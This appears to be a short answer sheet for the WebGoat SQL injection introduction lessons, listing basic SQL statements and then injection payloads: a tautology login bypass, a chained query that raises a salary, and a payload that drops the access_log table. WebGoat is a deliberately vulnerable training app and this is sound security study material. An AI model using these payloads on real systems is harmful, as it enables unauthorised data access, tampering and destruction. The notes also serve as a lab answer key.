# 2. (A1) Injection-SQL Injection(intro)

###### tags: `webgoat題目`

## 2 What is SQL?

:::success
select department from employees where first_name = 'Bob'
:::

## 3 Data Manipulation Language (DML)

:::success
update employees set department = 'Sales' where userid = 89762
:::

## 4 Data Definition Language (DDL)

:::success
alter table employees add phone varchar(20);
:::

## 5 Data Control Language (DCL)

:::success
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user
:::

## 9 Try It! String SQL injection

:::success
:::

## 10 Try It! Numeric SQL injection

:::success
:::

## 11 Compromising confidentiality with String SQL injection

:::success
Employee Name:' or '1'='1
Authentication TAN:' or '1'='1
:::

## 12 Compromising Integrity with Query chaining

:::success

原本

Authentication TAN: ' or '1'='1';update employees set SALARY = 90000 where userid = 37648;--

Authentication TAN: ' or '1'='1';update employees set SALARY = 90000 where userid = 37648;select * from employees;--

:::

## 13 Compromising Availability

:::success
1';drop table access_log;--
:::